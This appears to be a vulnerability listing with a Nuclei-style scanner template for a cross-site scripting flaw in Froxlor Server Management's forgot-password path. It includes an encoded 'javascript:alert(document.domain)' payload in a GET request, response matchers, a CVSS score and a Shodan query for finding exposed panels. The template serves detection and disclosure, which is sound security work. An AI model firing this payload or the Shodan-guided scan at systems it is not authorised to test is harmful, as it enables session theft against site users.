Froxlor Server Management is susceptible to cross-site scripting via clicking the forgot password link. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: froxlor-xss
info:
name: Froxlor Server Management - Cross-Site Scripting
author: tess
severity: medium
description: |
Froxlor Server Management is susceptible to cross-site scripting via clicking the forgot password link. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
cpe: cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Froxlor Server Management Panel"
product: froxlor
vendor: froxlor
tags: froxlor,xss
http:
- method: GET
path:
- '{{BaseURL}}/index.php/javascript%26colon%3Balert(document.domain);dd%26sol%3b%26sol%3b'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "javascript:alert(document.domain);dd//"
- "Froxlor"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100964f60589313d867e7d2aeb6647c4e6d8d69b1b721f583e8c5bed61b97dd476002202c95d4c2d4fe36b48aee03d139468759e194fdd4b827b0168cadf2c8410a42a3:922c64590222798bb761d5b6d8e72950